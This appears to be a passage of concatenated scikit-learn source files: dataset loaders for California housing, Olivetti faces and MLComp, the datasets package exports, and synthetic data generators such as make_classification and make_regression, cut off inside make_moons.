    config.add_extension('_svmlight_format',
                         sources=['_svmlight_format.c'],
                         include_dirs=[numpy.get_include()])
    config.add_subpackage('tests')
    return config


if __name__ == '__main__':
    from numpy.distutils.core import setup
    setup(**configuration(top_path='').todict())






"""California housing dataset.

The original database is available from StatLib

    http://lib.stat.cmu.edu/

The data contains 20,640 observations on 9 variables.

This dataset contains the average house value as target variable
and the following input variables (features): average income,
housing average age, average rooms, average bedrooms, population,
average occupation, latitude, and longitude in that order.

References
----------

Pace, R. Kelley and Ronald Barry, Sparse Spatial Autoregressions,
Statistics and Probability Letters, 33 (1997) 291-297.

"""
# Authors: Peter Prettenhofer
# License: BSD 3 clause

from io import BytesIO
from os.path import exists
from os import makedirs
import tarfile

try:
    # Python 2
    from urllib2 import urlopen
except ImportError:
    # Python 3+
    from urllib.request import urlopen

import numpy as np

from .base import get_data_home, Bunch
from .base import _pkl_filepath
from ..externals import joblib


DATA_URL = "http://www.dcc.fc.up.pt/~ltorgo/Regression/cal_housing.tgz"
TARGET_FILENAME = "cal_housing.pkz"

# Grab the module-level docstring to use as a description of the
# dataset
MODULE_DOCS = __doc__


def fetch_california_housing(data_home=None, download_if_missing=True):
    """Loader for the California housing dataset from StatLib.

    Read more in the :ref:`User Guide <datasets>`.

    Parameters
    ----------
    data_home : optional, default: None
        Specify another download and cache folder for the datasets. By default
        all scikit learn data is stored in '~/scikit_learn_data' subfolders.

    download_if_missing: optional, True by default
        If False, raise a IOError if the data is not locally available
        instead of trying to download the data from the source site.

    Returns
    -------
    dataset : dict-like object with the following attributes:

    dataset.data : ndarray, shape [20640, 8]
        Each row corresponding to the 8 feature values in order.

    dataset.target : numpy array of shape (20640,)
        Each value corresponds to the average house value in units of 100,000.

    dataset.feature_names : array of length 8
        Array of ordered feature names used in the dataset.

    dataset.DESCR : string
        Description of the California housing dataset.

    Notes
    ------

    This dataset consists of 20,640 samples and 9 features.
    """
    data_home = get_data_home(data_home=data_home)
    if not exists(data_home):
        makedirs(data_home)
    filepath = _pkl_filepath(data_home, TARGET_FILENAME)
    if not exists(filepath):
        print('downloading Cal. housing from %s to %s' % (DATA_URL, data_home))
        archive_fileobj = BytesIO(urlopen(DATA_URL).read())
        fileobj = tarfile.open(
            mode="r:gz",
            fileobj=archive_fileobj).extractfile(
                'CaliforniaHousing/cal_housing.data')

        cal_housing = np.loadtxt(fileobj, delimiter=',')
        # Columns are not in the same order compared to the previous
        # URL resource on lib.stat.cmu.edu
        columns_index = [8, 7, 2, 3, 4, 5, 6, 1, 0]
        cal_housing = cal_housing[:, columns_index]
        joblib.dump(cal_housing, filepath, compress=6)
    else:
        cal_housing = joblib.load(filepath)

    feature_names = ["MedInc", "HouseAge", "AveRooms", "AveBedrms",
                     "Population", "AveOccup", "Latitude", "Longitude"]

    target, data = cal_housing[:, 0], cal_housing[:, 1:]

    # avg rooms = total rooms / households
    data[:, 2] /= data[:, 5]

    # avg bed rooms = total bed rooms / households
    data[:, 3] /= data[:, 5]

    # avg occupancy = population / households
    data[:, 5] = data[:, 4] / data[:, 5]

    # target in units of 100,000
    target = target / 100000.0

    return Bunch(data=data,
                 target=target,
                 feature_names=feature_names,
                 DESCR=MODULE_DOCS)






"""
The :mod:`sklearn.datasets` module includes utilities to load datasets,
including methods to load and fetch popular reference datasets. It also
features some artificial data generators.
"""

from .base import load_diabetes
from .base import load_digits
from .base import load_files
from .base import load_iris
from .base import load_breast_cancer
from .base import load_linnerud
from .base import load_boston
from .base import get_data_home
from .base import clear_data_home
from .base import load_sample_images
from .base import load_sample_image
from .covtype import fetch_covtype
from .kddcup99 import fetch_kddcup99
from .mlcomp import load_mlcomp
from .lfw import load_lfw_pairs
from .lfw import load_lfw_people
from .lfw import fetch_lfw_pairs
from .lfw import fetch_lfw_people
from .twenty_newsgroups import fetch_20newsgroups
from .twenty_newsgroups import fetch_20newsgroups_vectorized
from .mldata import fetch_mldata, mldata_filename
from .samples_generator import make_classification
from .samples_generator import make_multilabel_classification
from .samples_generator import make_hastie_10_2
from .samples_generator import make_regression
from .samples_generator import make_blobs
from .samples_generator import make_moons
from .samples_generator import make_circles
from .samples_generator import make_friedman1
from .samples_generator import make_friedman2
from .samples_generator import make_friedman3
from .samples_generator import make_low_rank_matrix
from .samples_generator import make_sparse_coded_signal
from .samples_generator import make_sparse_uncorrelated
from .samples_generator import make_spd_matrix
from .samples_generator import make_swiss_roll
from .samples_generator import make_s_curve
from .samples_generator import make_sparse_spd_matrix
from .samples_generator import make_gaussian_quantiles
from .samples_generator import make_biclusters
from .samples_generator import make_checkerboard
from .svmlight_format import load_svmlight_file
from .svmlight_format import load_svmlight_files
from .svmlight_format import dump_svmlight_file
from .olivetti_faces import fetch_olivetti_faces
from .species_distributions import fetch_species_distributions
from .california_housing import fetch_california_housing
from .rcv1 import fetch_rcv1


__all__ = ['clear_data_home',
           'dump_svmlight_file',
           'fetch_20newsgroups',
           'fetch_20newsgroups_vectorized',
           'fetch_lfw_pairs',
           'fetch_lfw_people',
           'fetch_mldata',
           'fetch_olivetti_faces',
           'fetch_species_distributions',
           'fetch_california_housing',
           'fetch_covtype',
           'fetch_rcv1',
           'fetch_kddcup99',
           'get_data_home',
           'load_boston',
           'load_diabetes',
           'load_digits',
           'load_files',
           'load_iris',
           'load_breast_cancer',
           'load_lfw_pairs',
           'load_lfw_people',
           'load_linnerud',
           'load_mlcomp',
           'load_sample_image',
           'load_sample_images',
           'load_svmlight_file',
           'load_svmlight_files',
           'make_biclusters',
           'make_blobs',
           'make_circles',
           'make_classification',
           'make_checkerboard',
           'make_friedman1',
           'make_friedman2',
           'make_friedman3',
           'make_gaussian_quantiles',
           'make_hastie_10_2',
           'make_low_rank_matrix',
           'make_moons',
           'make_multilabel_classification',
           'make_regression',
           'make_s_curve',
           'make_sparse_coded_signal',
           'make_sparse_spd_matrix',
           'make_sparse_uncorrelated',
           'make_spd_matrix',
           'make_swiss_roll',
           'mldata_filename']






# Copyright (c) 2010 Olivier Grisel <olivier.grisel@ensta.org>
# License: BSD 3 clause
"""Glue code to load http://mlcomp.org data as a scikit.learn dataset"""

import os
import numbers
from sklearn.datasets.base import load_files


def _load_document_classification(dataset_path, metadata, set_=None, **kwargs):
    if set_ is not None:
        dataset_path = os.path.join(dataset_path, set_)
    return load_files(dataset_path, metadata.get('description'), **kwargs)


LOADERS = {
    'DocumentClassification': _load_document_classification,
    # TODO: implement the remaining domain formats
}


def load_mlcomp(name_or_id, set_="raw", mlcomp_root=None, **kwargs):
    """Load a datasets as downloaded from http://mlcomp.org

    Parameters
    ----------

    name_or_id : the integer id or the string name metadata of the MLComp
                 dataset to load

    set_ : select the portion to load: 'train', 'test' or 'raw'

    mlcomp_root : the filesystem path to the root folder where MLComp datasets
                  are stored, if mlcomp_root is None, the MLCOMP_DATASETS_HOME
                  environment variable is looked up instead.

    **kwargs : domain specific kwargs to be passed to the dataset loader.

    Read more in the :ref:`User Guide <datasets>`.

    Returns
    -------

    data : Bunch
        Dictionary-like object, the interesting attributes are:
        'filenames', the files holding the raw to learn, 'target', the
        classification labels (integer index), 'target_names',
        the meaning of the labels, and 'DESCR', the full description of the
        dataset.

    Note on the lookup process: depending on the type of name_or_id,
    will choose between integer id lookup or metadata name lookup by
    looking at the unzipped archives and metadata file.

    TODO: implement zip dataset loading too
    """

    if mlcomp_root is None:
        try:
            mlcomp_root = os.environ['MLCOMP_DATASETS_HOME']
        except KeyError:
            raise ValueError("MLCOMP_DATASETS_HOME env variable is undefined")

    mlcomp_root = os.path.expanduser(mlcomp_root)
    mlcomp_root = os.path.abspath(mlcomp_root)
    mlcomp_root = os.path.normpath(mlcomp_root)

    if not os.path.exists(mlcomp_root):
        raise ValueError("Could not find folder: " + mlcomp_root)

    # dataset lookup
    if isinstance(name_or_id, numbers.Integral):
        # id lookup
        dataset_path = os.path.join(mlcomp_root, str(name_or_id))
    else:
        # assume name based lookup
        dataset_path = None
        expected_name_line = "name: " + name_or_id
        for dataset in os.listdir(mlcomp_root):
            metadata_file = os.path.join(mlcomp_root, dataset, 'metadata')
            if not os.path.exists(metadata_file):
                continue
            with open(metadata_file) as f:
                for line in f:
                    if line.strip() == expected_name_line:
                        dataset_path = os.path.join(mlcomp_root, dataset)
                        break
        if dataset_path is None:
            raise ValueError("Could not find dataset with metadata line: " +
                             expected_name_line)

    # loading the dataset metadata
    metadata = dict()
    metadata_file = os.path.join(dataset_path, 'metadata')
    if not os.path.exists(metadata_file):
        raise ValueError(dataset_path + ' is not a valid MLComp dataset')
    with open(metadata_file) as f:
        for line in f:
            if ":" in line:
                key, value = line.split(":", 1)
                metadata[key.strip()] = value.strip()

    format = metadata.get('format', 'unknow')
    loader = LOADERS.get(format)
    if loader is None:
        raise ValueError("No loader implemented for format: " + format)
    return loader(dataset_path, metadata, set_=set_, **kwargs)






"""Modified Olivetti faces dataset.

The original database was available from

    http://www.cl.cam.ac.uk/research/dtg/attarchive/facedatabase.html

The version retrieved here comes in MATLAB format from the personal
web page of Sam Roweis:

    http://www.cs.nyu.edu/~roweis/

There are ten different images of each of 40 distinct subjects. For some
subjects, the images were taken at different times, varying the lighting,
facial expressions (open / closed eyes, smiling / not smiling) and facial
details (glasses / no glasses). All the images were taken against a dark
homogeneous background with the subjects in an upright, frontal position (with
tolerance for some side movement).

The original dataset consisted of 92 x 112, while the Roweis version
consists of 64x64 images.
"""
# Copyright (c) 2011 David Warde-Farley <wardefar at iro dot umontreal dot ca>
# License: BSD 3 clause

from io import BytesIO
from os.path import exists
from os import makedirs
try:
    # Python 2
    import urllib2
    urlopen = urllib2.urlopen
except ImportError:
    # Python 3
    import urllib.request
    urlopen = urllib.request.urlopen

import numpy as np
from scipy.io.matlab import loadmat

from .base import get_data_home, Bunch
from .base import _pkl_filepath
from ..utils import check_random_state
from ..externals import joblib


DATA_URL = "http://cs.nyu.edu/~roweis/data/olivettifaces.mat"
TARGET_FILENAME = "olivetti.pkz"

# Grab the module-level docstring to use as a description of the
# dataset
MODULE_DOCS = __doc__


def fetch_olivetti_faces(data_home=None, shuffle=False, random_state=0,
                         download_if_missing=True):
    """Loader for the Olivetti faces data-set from AT&T.

    Read more in the :ref:`User Guide <olivetti_faces>`.

    Parameters
    ----------
    data_home : optional, default: None
        Specify another download and cache folder for the datasets. By default
        all scikit learn data is stored in '~/scikit_learn_data' subfolders.

    shuffle : boolean, optional
        If True the order of the dataset is shuffled to avoid having
        images of the same person grouped.

    download_if_missing: optional, True by default
        If False, raise a IOError if the data is not locally available
        instead of trying to download the data from the source site.

    random_state : optional, integer or RandomState object
        The seed or the random number generator used to shuffle the
        data.

    Returns
    -------
    An object with the following attributes:

    data : numpy array of shape (400, 4096)
        Each row corresponds to a ravelled face image of original size 64 x 64 pixels.

    images : numpy array of shape (400, 64, 64)
        Each row is a face image corresponding to one of the 40 subjects of the dataset.

    target : numpy array of shape (400, )
        Labels associated to each face image. Those labels are ranging from
        0-39 and correspond to the Subject IDs.

    DESCR : string
        Description of the modified Olivetti Faces Dataset.

    Notes
    ------

    This dataset consists of 10 pictures each of 40 individuals. The original
    database was available from (now defunct)

        http://www.cl.cam.ac.uk/research/dtg/attarchive/facedatabase.html

    The version retrieved here comes in MATLAB format from the personal
    web page of Sam Roweis:

        http://www.cs.nyu.edu/~roweis/

    """
    data_home = get_data_home(data_home=data_home)
    if not exists(data_home):
        makedirs(data_home)
    filepath = _pkl_filepath(data_home, TARGET_FILENAME)
    if not exists(filepath):
        print('downloading Olivetti faces from %s to %s'
              % (DATA_URL, data_home))
        fhandle = urlopen(DATA_URL)
        buf = BytesIO(fhandle.read())
        mfile = loadmat(buf)
        faces = mfile['faces'].T.copy()
        joblib.dump(faces, filepath, compress=6)
        del mfile
    else:
        faces = joblib.load(filepath)
    # We want floating point data, but float32 is enough (there is only
    # one byte of precision in the original uint8s anyway)
    faces = np.float32(faces)
    faces = faces - faces.min()
    faces /= faces.max()
    faces = faces.reshape((400, 64, 64)).transpose(0, 2, 1)
    # 10 images per class, 400 images total, each class is contiguous.
    target = np.array([i // 10 for i in range(400)])
    if shuffle:
        random_state = check_random_state(random_state)
        order = random_state.permutation(len(faces))
        faces = faces[order]
        target = target[order]
    return Bunch(data=faces.reshape(len(faces), -1),
                 images=faces,
                 target=target,
                 DESCR=MODULE_DOCS)






"""
Generate samples of synthetic data sets.
"""

# Authors: B. Thirion, G. Varoquaux, A. Gramfort, V. Michel, O. Grisel,
#          G. Louppe, J. Nothman
# License: BSD 3 clause

import numbers
import array
import numpy as np
from scipy import linalg
import scipy.sparse as sp

from ..preprocessing import MultiLabelBinarizer
from ..utils import check_array, check_random_state
from ..utils import shuffle as util_shuffle
from ..utils.fixes import astype
from ..utils.random import sample_without_replacement
from ..externals import six
map = six.moves.map
zip = six.moves.zip


def _generate_hypercube(samples, dimensions, rng):
    """Returns distinct binary samples of length dimensions
    """
    if dimensions > 30:
        return np.hstack([_generate_hypercube(samples, dimensions - 30, rng),
                          _generate_hypercube(samples, 30, rng)])
    out = astype(sample_without_replacement(2 ** dimensions, samples,
                                            random_state=rng),
                 dtype='>u4', copy=False)
    out = np.unpackbits(out.view('>u1')).reshape((-1, 32))[:, -dimensions:]
    return out


def make_classification(n_samples=100, n_features=20, n_informative=2,
                        n_redundant=2, n_repeated=0, n_classes=2,
                        n_clusters_per_class=2, weights=None, flip_y=0.01,
                        class_sep=1.0, hypercube=True, shift=0.0, scale=1.0,
                        shuffle=True, random_state=None):
    """Generate a random n-class classification problem.

    This initially creates clusters of points normally distributed (std=1)
    about vertices of a `2 * class_sep`-sided hypercube, and assigns an equal
    number of clusters to each class. It introduces interdependence between
    these features and adds various types of further noise to the data.

    Prior to shuffling, `X` stacks a number of these primary "informative"
    features, "redundant" linear combinations of these, "repeated" duplicates
    of sampled features, and arbitrary noise for and remaining features.

    Read more in the :ref:`User Guide <sample_generators>`.

    Parameters
    ----------
    n_samples : int, optional (default=100)
        The number of samples.

    n_features : int, optional (default=20)
        The total number of features. These comprise `n_informative`
        informative features, `n_redundant` redundant features, `n_repeated`
        duplicated features and `n_features-n_informative-n_redundant-
        n_repeated` useless features drawn at random.

    n_informative : int, optional (default=2)
        The number of informative features. Each class is composed of a number
        of gaussian clusters each located around the vertices of a hypercube
        in a subspace of dimension `n_informative`. For each cluster,
        informative features are drawn independently from  N(0, 1) and then
        randomly linearly combined within each cluster in order to add
        covariance. The clusters are then placed on the vertices of the
        hypercube.

    n_redundant : int, optional (default=2)
        The number of redundant features. These features are generated as
        random linear combinations of the informative features.

    n_repeated : int, optional (default=0)
        The number of duplicated features, drawn randomly from the informative
        and the redundant features.

    n_classes : int, optional (default=2)
        The number of classes (or labels) of the classification problem.

    n_clusters_per_class : int, optional (default=2)
        The number of clusters per class.

    weights : list of floats or None (default=None)
        The proportions of samples assigned to each class. If None, then
        classes are balanced. Note that if `len(weights) == n_classes - 1`,
        then the last class weight is automatically inferred.
        More than `n_samples` samples may be returned if the sum of `weights`
        exceeds 1.

    flip_y : float, optional (default=0.01)
        The fraction of samples whose class are randomly exchanged.

    class_sep : float, optional (default=1.0)
        The factor multiplying the hypercube dimension.

    hypercube : boolean, optional (default=True)
        If True, the clusters are put on the vertices of a hypercube. If
        False, the clusters are put on the vertices of a random polytope.

    shift : float, array of shape [n_features] or None, optional (default=0.0)
        Shift features by the specified value. If None, then features
        are shifted by a random value drawn in [-class_sep, class_sep].

    scale : float, array of shape [n_features] or None, optional (default=1.0)
        Multiply features by the specified value. If None, then features
        are scaled by a random value drawn in [1, 100]. Note that scaling
        happens after shifting.

    shuffle : boolean, optional (default=True)
        Shuffle the samples and the features.

    random_state : int, RandomState instance or None, optional (default=None)
        If int, random_state is the seed used by the random number generator;
        If RandomState instance, random_state is the random number generator;
        If None, the random number generator is the RandomState instance used
        by `np.random`.

    Returns
    -------
    X : array of shape [n_samples, n_features]
        The generated samples.

    y : array of shape [n_samples]
        The integer labels for class membership of each sample.

    Notes
    -----
    The algorithm is adapted from Guyon [1] and was designed to generate
    the "Madelon" dataset.

    References
    ----------
    .. [1] I. Guyon, "Design of experiments for the NIPS 2003 variable
           selection benchmark", 2003.

    See also
    --------
    make_blobs: simplified variant
    make_multilabel_classification: unrelated generator for multilabel tasks
    """
    generator = check_random_state(random_state)

    # Count features, clusters and samples
    if n_informative + n_redundant + n_repeated > n_features:
        raise ValueError("Number of informative, redundant and repeated "
                         "features must sum to less than the number of total"
                         " features")
    if 2 ** n_informative < n_classes * n_clusters_per_class:
        raise ValueError("n_classes * n_clusters_per_class must"
                         " be smaller or equal 2 ** n_informative")
    if weights and len(weights) not in [n_classes, n_classes - 1]:
        raise ValueError("Weights specified but incompatible with number "
                         "of classes.")

    n_useless = n_features - n_informative - n_redundant - n_repeated
    n_clusters = n_classes * n_clusters_per_class

    if weights and len(weights) == (n_classes - 1):
        weights.append(1.0 - sum(weights))

    if weights is None:
        weights = [1.0 / n_classes] * n_classes
        weights[-1] = 1.0 - sum(weights[:-1])

    # Distribute samples among clusters by weight
    n_samples_per_cluster = []
    for k in range(n_clusters):
        n_samples_per_cluster.append(int(n_samples * weights[k % n_classes]
                                     / n_clusters_per_class))
    for i in range(n_samples - sum(n_samples_per_cluster)):
        n_samples_per_cluster[i % n_clusters] += 1

    # Initialize X and y
    X = np.zeros((n_samples, n_features))
    y = np.zeros(n_samples, dtype=np.int)

    # Build the polytope whose vertices become cluster centroids
    centroids = _generate_hypercube(n_clusters, n_informative,
                                    generator).astype(float)
    centroids *= 2 * class_sep
    centroids -= class_sep
    if not hypercube:
        centroids *= generator.rand(n_clusters, 1)
        centroids *= generator.rand(1, n_informative)

    # Initially draw informative features from the standard normal
    X[:, :n_informative] = generator.randn(n_samples, n_informative)

    # Create each cluster; a variant of make_blobs
    stop = 0
    for k, centroid in enumerate(centroids):
        start, stop = stop, stop + n_samples_per_cluster[k]
        y[start:stop] = k % n_classes  # assign labels
        X_k = X[start:stop, :n_informative]  # slice a view of the cluster

        A = 2 * generator.rand(n_informative, n_informative) - 1
        X_k[...] = np.dot(X_k, A)  # introduce random covariance

        X_k += centroid  # shift the cluster to a vertex

    # Create redundant features
    if n_redundant > 0:
        B = 2 * generator.rand(n_informative, n_redundant) - 1
        X[:, n_informative:n_informative + n_redundant] = \
            np.dot(X[:, :n_informative], B)

    # Repeat some features
    if n_repeated > 0:
        n = n_informative + n_redundant
        indices = ((n - 1) * generator.rand(n_repeated) + 0.5).astype(np.intp)
        X[:, n:n + n_repeated] = X[:, indices]

    # Fill useless features
    if n_useless > 0:
        X[:, -n_useless:] = generator.randn(n_samples, n_useless)

    # Randomly replace labels
    if flip_y >= 0.0:
        flip_mask = generator.rand(n_samples) < flip_y
        y[flip_mask] = generator.randint(n_classes, size=flip_mask.sum())

    # Randomly shift and scale
    if shift is None:
        shift = (2 * generator.rand(n_features) - 1) * class_sep
    X += shift

    if scale is None:
        scale = 1 + 100 * generator.rand(n_features)
    X *= scale

    if shuffle:
        # Randomly permute samples
        X, y = util_shuffle(X, y, random_state=generator)

        # Randomly permute features
        indices = np.arange(n_features)
        generator.shuffle(indices)
        X[:, :] = X[:, indices]

    return X, y


def make_multilabel_classification(n_samples=100, n_features=20, n_classes=5,
                                   n_labels=2, length=50, allow_unlabeled=True,
                                   sparse=False, return_indicator='dense',
                                   return_distributions=False,
                                   random_state=None):
    """Generate a random multilabel classification problem.

    For each sample, the generative process is:
        - pick the number of labels: n ~ Poisson(n_labels)
        - n times, choose a class c: c ~ Multinomial(theta)
        - pick the document length: k ~ Poisson(length)
        - k times, choose a word: w ~ Multinomial(theta_c)

    In the above process, rejection sampling is used to make sure that
    n is never zero or more than `n_classes`, and that the document length
    is never zero. Likewise, we reject classes which have already been chosen.

    Read more in the :ref:`User Guide <sample_generators>`.

    Parameters
    ----------
    n_samples : int, optional (default=100)
        The number of samples.

    n_features : int, optional (default=20)
        The total number of features.

    n_classes : int, optional (default=5)
        The number of classes of the classification problem.

    n_labels : int, optional (default=2)
        The average number of labels per instance. More precisely, the number
        of labels per sample is drawn from a Poisson distribution with
        ``n_labels`` as its expected value, but samples are bounded (using
        rejection sampling) by ``n_classes``, and must be nonzero if
        ``allow_unlabeled`` is False.

    length : int, optional (default=50)
        The sum of the features (number of words if documents) is drawn from
        a Poisson distribution with this expected value.

    allow_unlabeled : bool, optional (default=True)
        If ``True``, some instances might not belong to any class.

    sparse : bool, optional (default=False)
        If ``True``, return a sparse feature matrix

        .. versionadded:: 0.17
           parameter to allow *sparse* output.

    return_indicator : 'dense' (default) | 'sparse' | False
        If ``dense`` return ``Y`` in the dense binary indicator format. If
        ``'sparse'`` return ``Y`` in the sparse binary indicator format.
        ``False`` returns a list of lists of labels.

    return_distributions : bool, optional (default=False)
        If ``True``, return the prior class probability and conditional
        probabilities of features given classes, from which the data was
        drawn.

    random_state : int, RandomState instance or None, optional (default=None)
        If int, random_state is the seed used by the random number generator;
        If RandomState instance, random_state is the random number generator;
        If None, the random number generator is the RandomState instance used
        by `np.random`.

    Returns
    -------
    X : array of shape [n_samples, n_features]
        The generated samples.

    Y : array or sparse CSR matrix of shape [n_samples, n_classes]
        The label sets.

    p_c : array, shape [n_classes]
        The probability of each class being drawn. Only returned if
        ``return_distributions=True``.

    p_w_c : array, shape [n_features, n_classes]
        The probability of each feature being drawn given each class.
        Only returned if ``return_distributions=True``.

    """
    generator = check_random_state(random_state)
    p_c = generator.rand(n_classes)
    p_c /= p_c.sum()
    cumulative_p_c = np.cumsum(p_c)
    p_w_c = generator.rand(n_features, n_classes)
    p_w_c /= np.sum(p_w_c, axis=0)

    def sample_example():
        _, n_classes = p_w_c.shape

        # pick a nonzero number of labels per document by rejection sampling
        y_size = n_classes + 1
        while (not allow_unlabeled and y_size == 0) or y_size > n_classes:
            y_size = generator.poisson(n_labels)

        # pick n classes
        y = set()
        while len(y) != y_size:
            # pick a class with probability P(c)
            c = np.searchsorted(cumulative_p_c,
                                generator.rand(y_size - len(y)))
            y.update(c)
        y = list(y)

        # pick a non-zero document length by rejection sampling
        n_words = 0
        while n_words == 0:
            n_words = generator.poisson(length)

        # generate a document of length n_words
        if len(y) == 0:
            # if sample does not belong to any class, generate noise word
            words = generator.randint(n_features, size=n_words)
            return words, y

        # sample words with replacement from selected classes
        cumulative_p_w_sample = p_w_c.take(y, axis=1).sum(axis=1).cumsum()
        cumulative_p_w_sample /= cumulative_p_w_sample[-1]
        words = np.searchsorted(cumulative_p_w_sample, generator.rand(n_words))
        return words, y

    X_indices = array.array('i')
    X_indptr = array.array('i', [0])
    Y = []
    for i in range(n_samples):
        words, y = sample_example()
        X_indices.extend(words)
        X_indptr.append(len(X_indices))
        Y.append(y)
    X_data = np.ones(len(X_indices), dtype=np.float64)
    X = sp.csr_matrix((X_data, X_indices, X_indptr),
                      shape=(n_samples, n_features))
    X.sum_duplicates()
    if not sparse:
        X = X.toarray()

    # return_indicator can be True due to backward compatibility
    if return_indicator in (True, 'sparse', 'dense'):
        lb = MultiLabelBinarizer(sparse_output=(return_indicator == 'sparse'))
        Y = lb.fit([range(n_classes)]).transform(Y)
    elif return_indicator is not False:
        raise ValueError("return_indicator must be either 'sparse', 'dense' "
                         'or False.')
    if return_distributions:
        return X, Y, p_c, p_w_c
    return X, Y


def make_hastie_10_2(n_samples=12000, random_state=None):
    """Generates data for binary classification used in
    Hastie et al. 2009, Example 10.2.

    The ten features are standard independent Gaussian and
    the target ``y`` is defined by::

      y[i] = 1 if np.sum(X[i] ** 2) > 9.34 else -1

    Read more in the :ref:`User Guide <sample_generators>`.

    Parameters
    ----------
    n_samples : int, optional (default=12000)
        The number of samples.

    random_state : int, RandomState instance or None, optional (default=None)
        If int, random_state is the seed used by the random number generator;
        If RandomState instance, random_state is the random number generator;
        If None, the random number generator is the RandomState instance used
        by `np.random`.

    Returns
    -------
    X : array of shape [n_samples, 10]
        The input samples.

    y : array of shape [n_samples]
        The output values.

    References
    ----------
    .. [1] T. Hastie, R. Tibshirani and J. Friedman, "Elements of Statistical
           Learning Ed. 2", Springer, 2009.

    See also
    --------
    make_gaussian_quantiles: a generalization of this dataset approach
    """
    rs = check_random_state(random_state)

    shape = (n_samples, 10)
    X = rs.normal(size=shape).reshape(shape)
    y = ((X ** 2.0).sum(axis=1) > 9.34).astype(np.float64)
    y[y == 0.0] = -1.0

    return X, y


def make_regression(n_samples=100, n_features=100, n_informative=10,
                    n_targets=1, bias=0.0, effective_rank=None,
                    tail_strength=0.5, noise=0.0, shuffle=True, coef=False,
                    random_state=None):
    """Generate a random regression problem.

    The input set can either be well conditioned (by default) or have a low
    rank-fat tail singular profile. See :func:`make_low_rank_matrix` for
    more details.

    The output is generated by applying a (potentially biased) random linear
    regression model with `n_informative` nonzero regressors to the previously
    generated input and some gaussian centered noise with some adjustable
    scale.

    Read more in the :ref:`User Guide <sample_generators>`.

    Parameters
    ----------
    n_samples : int, optional (default=100)
        The number of samples.

    n_features : int, optional (default=100)
        The number of features.

    n_informative : int, optional (default=10)
        The number of informative features, i.e., the number of features used
        to build the linear model used to generate the output.

    n_targets : int, optional (default=1)
        The number of regression targets, i.e., the dimension of the y output
        vector associated with a sample. By default, the output is a scalar.

    bias : float, optional (default=0.0)
        The bias term in the underlying linear model.

    effective_rank : int or None, optional (default=None)
        if not None:
            The approximate number of singular vectors required to explain most
            of the input data by linear combinations. Using this kind of
            singular spectrum in the input allows the generator to reproduce
            the correlations often observed in practice.
        if None:
            The input set is well conditioned, centered and gaussian with
            unit variance.

    tail_strength : float between 0.0 and 1.0, optional (default=0.5)
        The relative importance of the fat noisy tail of the singular values
        profile if `effective_rank` is not None.

    noise : float, optional (default=0.0)
        The standard deviation of the gaussian noise applied to the output.

    shuffle : boolean, optional (default=True)
        Shuffle the samples and the features.

    coef : boolean, optional (default=False)
        If True, the coefficients of the underlying linear model are returned.

    random_state : int, RandomState instance or None, optional (default=None)
        If int, random_state is the seed used by the random number generator;
        If RandomState instance, random_state is the random number generator;
        If None, the random number generator is the RandomState instance used
        by `np.random`.

    Returns
    -------
    X : array of shape [n_samples, n_features]
        The input samples.

    y : array of shape [n_samples] or [n_samples, n_targets]
        The output values.

    coef : array of shape [n_features] or [n_features, n_targets], optional
        The coefficient of the underlying linear model. It is returned only if
        coef is True.
    """
    n_informative = min(n_features, n_informative)
    generator = check_random_state(random_state)

    if effective_rank is None:
        # Randomly generate a well conditioned input set
        X = generator.randn(n_samples, n_features)

    else:
        # Randomly generate a low rank, fat tail input set
        X = make_low_rank_matrix(n_samples=n_samples,
                                 n_features=n_features,
                                 effective_rank=effective_rank,
                                 tail_strength=tail_strength,
                                 random_state=generator)

    # Generate a ground truth model with only n_informative features being non
    # zeros (the other features are not correlated to y and should be ignored
    # by a sparsifying regularizers such as L1 or elastic net)
    ground_truth = np.zeros((n_features, n_targets))
    ground_truth[:n_informative, :] = 100 * generator.rand(n_informative,
                                                           n_targets)

    y = np.dot(X, ground_truth) + bias

    # Add noise
    if noise > 0.0:
        y += generator.normal(scale=noise, size=y.shape)

    # Randomly permute samples and features
    if shuffle:
        X, y = util_shuffle(X, y, random_state=generator)

        indices = np.arange(n_features)
        generator.shuffle(indices)
        X[:, :] = X[:, indices]
        ground_truth = ground_truth[indices]

    y = np.squeeze(y)

    if coef:
        return X, y, np.squeeze(ground_truth)

    else:
        return X, y


def make_circles(n_samples=100, shuffle=True, noise=None, random_state=None,
                 factor=.8):
    """Make a large circle containing a smaller circle in 2d.

    A simple toy dataset to visualize clustering and classification
    algorithms.

    Read more in the :ref:`User Guide <sample_generators>`.

    Parameters
    ----------
    n_samples : int, optional (default=100)
        The total number of points generated.

    shuffle: bool, optional (default=True)
        Whether to shuffle the samples.

    noise : double or None (default=None)
        Standard deviation of Gaussian noise added to the data.

    factor : double < 1 (default=.8)
        Scale factor between inner and outer circle.

    Returns
    -------
    X : array of shape [n_samples, 2]
        The generated samples.

    y : array of shape [n_samples]
        The integer labels (0 or 1) for class membership of each sample.
    """

    if factor > 1 or factor < 0:
        raise ValueError("'factor' has to be between 0 and 1.")

    generator = check_random_state(random_state)
    # so as not to have the first point = last point, we add one and then
    # remove it.
    linspace = np.linspace(0, 2 * np.pi, n_samples // 2 + 1)[:-1]
    outer_circ_x = np.cos(linspace)
    outer_circ_y = np.sin(linspace)
    inner_circ_x = outer_circ_x * factor
    inner_circ_y = outer_circ_y * factor

    X = np.vstack((np.append(outer_circ_x, inner_circ_x),
                   np.append(outer_circ_y, inner_circ_y))).T
    y = np.hstack([np.zeros(n_samples // 2, dtype=np.intp),
                   np.ones(n_samples // 2, dtype=np.intp)])
    if shuffle:
        X, y = util_shuffle(X, y, random_state=generator)

    if noise is not None:
        X += generator.normal(scale=noise, size=X.shape)

    return X, y


def make_moons(n_samples=100, shuffle=True, noise=None, random_state=None):
    """Make two interleaving half circles

    A simple toy dataset to visualize clustering and classification
    algorithms.

    Parameters
    ----------
    n_samples : int, optional (default=100)
        The total number of points generated.

    shuffle : bool, optional (default=True)
        Whether to shuffle the samples.

    noise : double or None (default=None)
        Standard deviation of Gaussian noise added to the data.

    Read more in the :ref:`User Guide <sample_generators>`.

    Returns
    -------
    X : array of shape [n_samples, 2]
        The generated samples.

    y : array of shape [n_samples]
        The integer labels (0 or 1) for class membership of each sample.
    """

    n_samples_out = n_samples // 2
    n_samples_in = n_samples - n_samples_out

    generator = check_random_state(random_state)

    outer_circ_x = np.cos(np.linspace(0, np.pi, n_samples_out))
    outer_circ_y = np.sin(np.linspace(0, np.pi, n_samples_out))
    inner_circ_x = 1 - np.cos(np.linspace(0, np.pi, n_samples_in))
    inner_circ_y = 1 - np.sin(np.linspace(0, np.pi, n_samples_in)) - .5

    X = np.vstack((np.append(outer_circ_x, inner_circ_x),
